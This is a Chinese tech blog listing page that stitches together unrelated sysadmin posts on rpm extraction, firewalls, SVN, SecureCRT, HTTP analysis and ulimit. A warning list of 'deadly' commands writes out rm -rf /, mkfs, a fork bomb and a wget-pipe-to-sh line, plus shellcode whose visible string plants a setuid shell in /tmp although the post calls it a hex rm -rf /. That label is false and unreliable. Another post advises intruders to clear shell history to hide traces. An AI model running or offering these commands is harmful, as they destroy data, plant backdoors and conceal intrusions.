Ubuntu Desktop默认情况下是关闭防火墙的。然而openSUSE用户就要费些心思来设置防火墙规则了。这里介绍如何在openSUSE的YAST2管理员工具中开启相应的端口:阅读全文
结合rpm,rpm2cpio,cpio提取rpm包的特定文件:


http://snailwarrior.blog.51cto.com/680306/145588

昨天不小心把/etc/mail/sendmail.mc修改坏了,又没有备份最原始的文件,于是想到重新从rpm包中提取出来。

首先,要确定/etc/mail/sendmail.mc属于哪个rpm包:
[root@pps tmp]# rpm -qf /etc/mail/sendmail.mc
sendmail-8.13.8-2.el5

然后从iso安装光碟中提取出sendmail-8.13.8-2.el5.i386.rpm(或者其它方式取得),确认一下sendmail.mc的路径:
[root@pps tmp]# rpm -qlp sendmail-8.13.8-2.el5.i386.rpm | grep sendmail.mc
warning: sendmail-8.13.8-2.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
/etc/mail/sendmail.mc

在提取sendmail.mc之前,有必要确认一下它的相对路径:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -t | grep sendmail.mc
2570 blocks
./etc/mail/sendmail.mc

好,现在可以放心提取sendmail.mc了:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -idv ./etc/mail/sendmail.mc
./etc/mail/sendmail.mc
2570 blocks

【注意】cpio参数后的文件路径"./etc/mail/sendmail.mc"必须和前面查询的相对路径一样,否则提取不成功。

cpio参数说明:
-t  列出的意思,和"--list"等同,注意,此时列出的是“相对路径”
-i  抽取的意思,和"--extract"等同
-d  建立目录,和"--make-directories"等同
-v  冗余信息输出,和"--verbose"等同

rpm参数说明:
-q  --query 查询
-l  --list 列出
-f  --file 指定文件
-p --package 指定rpm包

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/StamHe/archive/2009/12/25/5072392.aspx

开源邮件服务解决方案 iRedMail 项目组发布了 0.6.0-beta1 新版本。

以下是自 0.5.1 稳定版发布之后的主要更改:

•支持 FreeBSD 7.x 和 8.0,包括 i386 & x86_64/amd64 架构。这里是安装文档。
•MySQL 方案现在支持 domain alias。可以通过新版本的 PostfixAdmin-2.3 进行管理。
•软件更新。
◦Dovecot -> 1.1.20
◦PostfixAdmin -> 2.3。支持 domain alias 管理。
◦phpMyAdmin -> 2.11.9.6
◦Roundcube webmail -> 0.3.1。用户定制邮件过滤规则和修改密码的插件都已经包含在内,且是 roundcube 官方提供的。
◦ClamAV -> 0.95.3
下载地址:http://code.google.com/p/iredmail/downloads/list
技术支持论坛: http://www.iredmail.org/bbs/

注意:这是一个测试版,不建议在生产环境中使用。


来源:http://linuxtoy.org/archives/iredmail-060-beta1.html
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
1.rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
3.mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
4.:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
5.any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
6.wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
7.mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。

来源:http://linuxtoy.org/archives/the-7-deadly-linux-commands.html
零、linux下用ctrl+r快速搜索history命令:
(1)ctrl + r输入后多按几次。
(2)!?a.php?:p
(3)命令少或就近的情况下还是直接按键盘上面的[上]键更有效率。
linux命令行的history是一个熟知但不常用的命令,原因是要查某个命令的编号需要输入 history|grep xxx ,又因为!?xxx,!xxx 属于运行即执行也不方便,ctrl+r则方便多了。
ctrl+r
用途:反向搜索执行过的命令。(reverse-i-search)
1、ctrl+r
2、fo
3、ctrl+r (继续反向搜索)
只需要寥寥几键。当然若仅是上几个命令还是[上]键更有效率。

一、
问:linux 同一用户利用securecrt登陆两次, 各自执行一些命令后,再执行history看到的 结果不一样,是为什么?
答:确定存在这个问题,是ssh的复用,只有通过在一个终端里使用history -w后,另一个终端才会看得到哈,或关闭terminal后会写入,这里有一个buffer,实践也证明是这样的。
      要想看只有通过,如:root, /root/.bash_history,root用户登录可以再/root/目录下ls -a 可以看到有.bash_history文件 tail .bash_history 也可以看到你执行过的命令 你执行一些命令后linux会向.bash_history写 入你执行过的命令。
除非你限定同一id不能同时登录:限制同一ID不能两人同时登录
1、限制同一ID不能两人同时登录

2、防止终端用户两人同时用同一ID登录

1、限制同一ID不能两人同时登录

echo "*  hard max logins 2 " >> /etc/security/limits.conf

2、防止终端用户两人同时用同一ID登录

echo "session required pam_limits.so"  >>/etc/pam.d/login
来自:http://www.sudu.cn/info/html/edu/linux/20080407/265620.html

入侵时目标如果是linux服务器,看切忌清理痕迹的时候别忘记history命令的记录哦
  1、修改/etc/profile将HISTSIZE=1000改成0或1
  清除用户home路径下。bash_history
  2、立即清空里的history当前历史命令的记录
  history -c
  3、bash执行命令时不是马上把命令名称写入history文件的,而是存放在内部的buffer中,等bash退出时会一并写入。
  不过,可以调用'history -w'命令要求bash立即更新history文件。
  history -w

二、相关命令:
(1)共计最大保存history的条目数:
[root@test ~]# echo $HISTSIZE
1000
(2)查看history存的最大值,最旧,写入:
[root@localhost ~]# history |head
[root@localhost ~]# history |head
    4  cd ..
    5  ll
    6  cd ..
(3)把history立即写入root:/root/.bash_history
    history -w

三、History(历史)命令用法 15 例
如果你经常使用 Linux 命令行,那么使用 history(历史)命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。阅读全文
关东有义士,兴兵讨群凶。初期会盟津,乃心在咸阳。
军合力不齐,踌躇而雁行。势利使人争,嗣还自相戕。
淮南弟称号,刻玺于北方。铠甲生虮虱,万姓以死亡。
白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠。
Telnet是系统管理员常用的远程登录和管理工具,在Windows 2000/XP/2003/Vista系统中它作为标准的系统组件集成到系统中供用户使用。不过默认情况下Telnet服务是被禁止,通常情况下我们只需运行services.msc打开服务管理,找到Telnet服务项设置其启动类型为“手动”或者“自动”,然后启动该服务即可使用了。不过在Windows 7中,你按照上述方法是不能找到并启用Telnet服务的。那如何找回Windows 7的Telnet功能呢?

  1、隐藏原因

  其实,在服务管理器中找不到Telnet并不是Windows 7抛弃了Telnet,而是默认状态下Windows 7并没有安装Telnet服务。这也是微软第一次从个人系统中将Telnet剔出了系统默认组件之外,这和Windows Server 2008类似。我想微软这么做,应该是出于安全性考虑,毕竟Telnet的数据是以明文传输的,攻击者和容易通过嗅探获取敏感信息。基于安全性考虑,建议大家还是使用安全性更高的、加密的SSH远程管理方式。

  2、安装Telnet

  不过,我们也没有必要因噎废食,作为个人用户Telnet还是非常方便的。在Windows 7下安装Telnet和Windows Server 2008略有不同,大家可以通过下面的操作方法实现。依次点击“开始”→“控制面板”→“程序”,“在程序和功能”找到并点击“打开或关闭Windows功能”进入Windows 功能设置对话框。找到并勾选“Telnet客户端”和“Telnet服务器”,最后“确定”稍等片刻即可完成安装。除此之外,我们也可通过该向导安装“TFTP客户端”、“Internet 信息服务”等

安装完成后,Telnet服务默认情况下是禁用的。还需执行“开始”→“运行”,输入servcies.msc打开服务管理器。找到并双击Telnet服务项,设置其启动方式为“手动”(更安全,只在需要的时候才启用),最后“启动”该服务“确定”退出即可
完整配置教程网上多的是.这里只是记录一下心得.配置过的都看得懂

1)增加用户

由于htpasswd是apache的内置命令,所以先进入apache的命令目录

# cd /usr/local/apache/bin/
# htpasswd  -cm /etc/svn/passwd  xx
# htpasswd  -m  /etc/svn/passwd  xx1



2)权限配置

小小配置,差别挺大的.

<Location /svn>
DAV svn
#SVNPath /svnroot/
SVNParentPath /svnroot/
AuthzSVNAccessFile /etc/svn/authz
AuthType Basic
AuthName "welcome to subversion"
AuthUserFile /etc/svn/passwd
Require valid-user
</Location>


在此情总下, SVNPath /svnroot/ 和 SVNParentPath /svnroot/ 是有区别的.

1. SVNPath /svnroot/svn1  在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [/svn1] 表示根目录下面的 /svn1 目录的权限.

[/]
* = r

[/svn1]
* = r
xx = rw

2. SVNParentPath /svnroot/   在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [svnroot:svn1/] 表示svnroot项目下面的 /svn1目录 的权限.
svnroot 表示在当前库的conf/svnserve.conf 里配置的名称realm = svnroot

来源:http://blog.xoyo.com/php/article/92973.shtml
实际得参考:http://www.svn8.com/svnpz/20080310/271.html
1.首先查看端口状态,可以使用命令
-># netstat -an   (若查看某个端口,后面可接端口号)

2.检查服务状态使用chkconfig,如检查SSH,
-># chkconfig sshd

如为off,则需要打开系统服务的端口,可用chkconfig on命令,如打开SSH,
-># chkconfig ssh on service xinetd restart

3.防火墙开放端口:

(方法一:)

i. 进入 /etc/sysconfig/ 目录,用 vi 命令编辑 SuSEfirewall2 文件,
-># vi SuSEfirewall2
在文件中找到FW_SERVICES_EXT_TCP,在其后面加上服务名或者是服务对应的端口,如SSH,
FW_SERVICES_EXT_TCP=”ssh” 或 FW_SERVICES_EXT_TCP=”22″
保存之后退出。

ii. 重启防火墙,以使配置生效,
-># rcSuEfirewall2 restart

(方法二:)

i. 进入 /etc/sysconfig/ 目录, 查找 iptables 文件。若不存在,则新建一个名为iptables文件,

-># touch iptables

ii. 在iptables文件中添加如下,以便打开端口,如:

-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 22 –state NEW -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 80 –state NEW -j ACCEPT

iii. 重起iptalbes服务:service iptables restart 或重启机器。
方法三:)

引自:http://hi.baidu.com/wzj423/blog/item/81e8d2f9525b995d242df23a.html 部分内容

创建/etc/init.d/firewall文件:

vi /etc/init.d/firewall

放到/etc/init.d下的原因是方便自动启动。

脚本如下:

#!/bin/bash
# This program is used to use start my iptables.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:~/bin
export PATH

case “$1″ in
start)
echo -n “Staring FireWall …”
# /sbin/iptables -P INPUT DROP
/sbin/iptables -P OUTPUT ACCEPT
/sbin/iptables -A INPUT -i lo -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp –dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -m tcp –dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state INVALID,NEW -j DROP
echo “OK”

;;
stop)
echo -n “Stop FireWall … ”
/sbin/iptables -F
/sbin/iptables -X
/sbin/iptables -Z
echo “OK”
;;
restart)
/etc/init.d/firewall stop
/etc/init.d/firewall start

echo “Restart FireWall OK”
;;
*)
echo “Usage: $0 {start|stop|restart}”
esac

exit 0

如果想新开端口,直接修改start部分即可。

测试firewall是否能正常工作:

/etc/init.d/firewall restart

没有问题。

配置firewall随系统自动启动:

cd /etc/init.d
update-rc.d firewall defaults 01

01表示启动优先级,让系统刚启动时就立即启动防火墙规则,可修改所有的K01为K99,在关机或重启服务器时最后停止防火墙服务。
可以啊。不过要注意端口不能用一个(默认为80,你的其中一个要换为其他端口)
据我所了解,你的选择方式有:
1、安装两套apache服务器,单独使用配置文件,网页(www)默认目录等。比如有个xampp,可以让你方便的安装使用 apache+perl+mysql。比如我这次的一个项目(作业)就是用xampp(不过学校机房是windows,所以我这个xampp是win下的)在学校机房给老师演示的。
2、安装一套apache服务器,其中一个用正常的方式运行,另外一个用配置文件(包含mysql服务配置,apache端口,默认目录配置,php配置等,)作为参数(具体方法看apache的使用说明或者Google一下)传入给apache程序。

这样就能运行两套apache了。
ps:个人意见,未实践,经过实践后有结果的话欢迎探讨。
Double-click 选项修改为 Close Tab:
双击复制并打开新session:
options -> global options -> Terminal -> Tabs 选择Double-click action的下拉框为Clone tab,这样就可以在已经打开的session标签中鼠标双击,打开一个完全一样的新session标签。
================================================================================================================

secureCRT6.5设置 自动登录 密码保存

1 telnet自动登录

a 点击connect in tab(alt+b)-->new session->按向导设置主机名,然后完成

点击在新窗口中浏览此图片

b 选择刚才设置的主机,点击右键弹出菜单,选择properties按钮。
点击在新窗口中浏览此图片

如图设置自动登录,在初始化发送中设置ogin和assword为你登录主机使用的用户名和密码,点击ok完成连接。
点击在新窗口中浏览此图片
2 ssh2连接方式

a ssh2顾名思义,就是安全连接,但那个不是本文的关注点,本文只关注自动登录,O(∩_∩)O~

前面步骤跟telnet连接方式相同,都是alt+b,然后new session,如图,然后完成。

点击在新窗口中浏览此图片

b 选择刚设置好的主机,鼠标右键,弹出菜单,选properties。

点击在新窗口中浏览此图片

c 在弹出的对话框中选择ssh2设置,再选择authentication中的password选项,点选右边的properties,弹出左下角对话框,填入登录用户名,密码,ok完成。
点击在新窗口中浏览此图片阅读全文
HTTP协议分析
HTTP协议之我见
                                
原文地址:http://bbs.sotenet.com/viewthread.php?tid=47      

//起因是昨天看了YELLOW哥的HTTP传文件的文章。下面的东西可能看起来有点乱。但基本原理写的都很清楚了。


/*
对HTTP协议进行分析:
测试环境:
WIN 2K -SP4
Apache/1.3.29 (Win32)
IE 6.0
Firefox/1.0

测试步骤:
1:先建立TCP连接。
2:发送如下请求:
GET /index.html HTTP/1.1
Accept:*?*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host:192.168.0.119
Connection: Keep-Alive

3:如后接受数据:
接受到的的结构如下:  HTTP协议回应 + 网页正文 + HTTP的结尾结构

//------------------------------------------------------------------------具体数据如下


HTTP/1.1 200 OK

Date: Mon, 19 Dec 2005 10:51:54 GMT

Server: Apache/1.3.29 (Win32)

Last-Modified: Tue, 16 Mar 2004 12:24:28 GMT

ETag: "0-dab-4056f1fc"

Accept-Ranges: bytes

Content-Length: 3499

Keep-Alive: timeout=30, max=100

Connection: Keep-Alive

Content-Type: text/html


//**************************************网页正文(略)


HTTP/1.1 414 Request-URI Too Large

Date: Mon, 19 Dec 2005 10:51:54 GMT

Server: Apache/1.3.29 (Win32)

Connection: close

Content-Type: text/html; charset=iso-8859-1








Request-URI Too Large
The requested URL's length exceeds the capacity
limit for this server.

request failed: URI too long





--------------------------------------------------------------------------------


Apache/1.3.29 Server at localhost Port 8080



//------------------------------------------------------------------------数据结束


这之间还要有一个地方值得注意的就是当发出请求后,服务器回送数据时是分段发送的。
比如Apache/1.3.29 (Win32)返回一个大网页数据的时候就发送了5个包
1,2,3,4包是4098字节,最后剩下的数据由第5个包返回是1953个字节。
这5个包的数据结构如下:
1包:HTTP回应头结构 + 网页正文
2包:网页正文
3包:网页正文
4包:网页正文
5包:网页正文 + HTTP回应结尾结构


今天上午大哥说的东西其实就是这样一个东西:
1:SERVER开一个端口80。
2:CLIENT 连接 SERVER 用TCP协议,然后提出一个HTTP请求。
3:CLIENT 接收 SERVER 的数据,结构:HTTP回应头结构 + 文件内容 + HTTP回应结尾结构


从这些我们基本就可以看出来HTTP协议是建立在TCP协议之上。协议的请求和回应的结构也不是很严格。
这点和TCP,UDP等协议比较起来,HTTP协议并不像TCP/UDP等协议严格。
其实如果要较细致的学习这个协议,主要就是学习请求和回应的格式。


这是我截获的 IE6.0 的HTTP请求,访问命令:http://192.168.0.119:800

GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, *?*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: 192.168.0.119:800
Connection: Keep-Alive

这是我截获的 firefox 的HTTP请求,访问命令:http://192.168.0.119:800

GET / HTTP/1.1
Host: 192.168.0.119:800
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.7.5) Gecko/20041224 Firefox/1.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*?*;q=0.5
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


注:以上请求里面有都一个*?*,其实这“?”应该是“/”  原因是因为是程序里面的注释符号



今天就着昨天的研究成果上面又具体的看了一下,还那昨天的那5个包做例子:

这之间还要有一个地方值得注意的就是当发出请求后,服务器回送数据时是分段发送的。
比如Apache/1.3.29 (Win32)返回一个大网页数据的时候就发送了5个包
1,2,3,4包是4098字节,最后剩下的数据由第5个包返回是1953个字节。

(info_php.php)
这5个包的数据结构如下:
1包4098:HTTP回应头结构 + 5个字节的数据() +  网页正文
2包4098:5个字节的数据()  +  网页正文
3包4098:5个字节的数据()  +  网页正文
4包4098:5个字节的数据()  +  网页正文
5包1953:5个字节的数据()  +  网页正文 +  5个字节的数据(通常是0) + HTTP回应结尾结构 + 网页结构


以上是对大于两个分段的网页的测试:(index.htm)
两个分段的网页:
1包4096:HTTP回应头结构 + 网页正文 + HTTP回应结尾结构 + 网页结构(一半)
2包195:网页结构(另一半)

以上是对大于一个分段的网页的测试:(index.html)
1包949: HTTP回应头结构 + 网页正文 + HTTP回应结尾结构 + 网页结构

一点小小的疑惑:当我测试普通的网页(*.html)反回分段时没有那5个字节的数据。
但当我测试动态网页(*.php)时在里面有那5个字节的数据,我不明白是不是里面还有什么别的机制来控制
HTTP协议的数据分段。另外说一点就是,那个5个字节的数据是16进制的数据。
大概是代表本分段里面的网页正文数据的字节数。

相信HTTP协议里面还有我没有发现的东西,但基本的东西我想我这里面写应该差不多了!

下面是我测试的小程序代码:





//----------------------THE----END--------------------------------------
首先说一下儒家:阅读全文
中国道家的创始人老子与越国大夫范蠡是师生关系。阅读全文

$(".btn1").click(function(){
  $("div").scrollTop(100);
});

$(selector).scrollTop(offset)




      var login_css = document.createElement('link');
      login_css.id = 'login_css';
      login_css.rel = 'stylesheet';
      login_css.type = 'text/css';
      login_css.media = 'screen';
      login_css.href = css_url;
      document.body.appendChild(login_css);



    // add div element
    var divE = document.createElement('div');
    divE.id = 'login_container';
    divE.style.visibility = 'hidden';
    divE.style.opacity = 0;
    
    var login_HTML = "";



    var d = document.documentElement || document.body;
    var scrollTop = d.scrollTop > d.offsetTop ? d.scrollTop : d.offsetTop;
    divE.style.top = scrollTop+220+'px';
      
      document.body.appendChild(divE);
在向大家详细介绍CentOS ulimit之前,首先让大家了解下CentOS ulimit,然后全面介绍CentOS ulimit,希望对大家有用。CentOS ulimit值(Linux文件句柄数量)在CentOS5(RHEL5)中的调整。

在Linux下面部署应用的时候,有时候会遇上Socket/File: Can’t open so many files的问题,比如还有Squid做代理,当文件打开数到900多时速能就非常快的下降,有可能打不开网页.
其实Linux是有文件句柄限制的,而且Linux默认不是很高,一般都是1024,生产服务器用其实很容易就达到这个数量.

查看方法
我们可以用CentOS ulimit -a来查看所有限制值
[root@centos5 ~]# Centos ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
max nice                        (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 4096
max locked memory       (kbytes, -l) 32
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
max rt priority                 (-r) 0
stack size              (kbytes, -s) 10240
cpu time               (seconds, -t) unlimited
max user processes              (-u) 4096
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited||<

其中 "open files (-n) 1024 "是Linux操作系统对一个进程打开的文件句柄数量的限制(也包含打开的SOCKET数量,可影响MySQL的并发连接数目).这个值可用CentOS ulimit命令来修改,但CentOS ulimit命令修改的数值只对当前登录用户的目前使用环境有效,系统重启或者用户退出后就会失效.
系统总限制是在这里,/proc/sys/fs/file-max.可以通过cat查看目前的值,修改/etc/sysctl.conf 中也可以控制.
另外还有一个,/proc/sys/fs/file-nr,可以看到整个系统目前使用的文件句柄数量
查找文件句柄问题的时候,还有一个很实用的程序lsof.可以很方便看到某个进程开了那些句柄.也可以看到某个文件/目录被什么进程占用了.

修改方法
若要令修改CentOS ulimits的数值永久生效,则必须修改配置文档,可以给CentOS ulimit修改命令放入/etc/profile里面,这个方法实在是不方便,还有一个方法是修改/etc/sysctl.conf .我修改了,测试过,但对用户的CentOS ulimits -a 是不会改变的。只是/proc/sys/fs/file-max的值变了.(我给命令放到rc.local中失败)

我认为正确的做法,应该是修改/etc/security/limits.conf
里面有很详细的注释,比如
* soft nofile 32768
* hard nofile 65536
也可以直接运行下面这个shell。直接copy到你的终端中运行就好了.
echo -ne "
* soft nofile 65536
* hard nofile 65536
" >>/etc/security/limits.conf

就可以将文件句柄限制统一改成软32768,硬65536.配置文件最前面的是指domain,设置为星号代表全局,另外你也可以针对不同的用户做出不同的限制注意.这个当中的硬限制是实际的限制,而软限制,是warnning限制,只会做出warning.其实CentOS ulimit命令本身就有分软硬设置,加-H就是硬,加-S就是软默认显示的是软限制,如果运行CentOS ulimit命令修改的时候没有加上的话,就是两个参数一起改变.生效
修改完重新登录就可以见到.(我的系统是CentOS5.1.修改了,重新登录后就立刻生效.可以用CentOS ulimit -a 查看确认.)
如果你使用squid的话,你要在/etc/init.d/squid的文件加入CentOS ulimit -HSn 65535.另外,在squid.conf中也要加入max_filedesc 16384


freebsd下的ulimit命令在哪里?
今天,一个网友问我freebsd的ulimit怎么没有,其实这个问题随便google一下就有了,网上现成就有答案的。
首先要看用的是什么shell,很多shell都有内部命令ulimit,不过freebsd的默认shell 是csh,它的对应内部命令是limit不是ulimit,freebsd还有一个外部命令limits,freebsd中需要改变这些资源使用限制只能用外部命令,内部命令改不了,如果你一定要用ulimit的话,就只能安装有ulimit内部命令的shell,比如bash,sh。
分页: 178/339 第一页 上页 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 下页 最后页 [ 显示模式: 摘要 | 列表 ]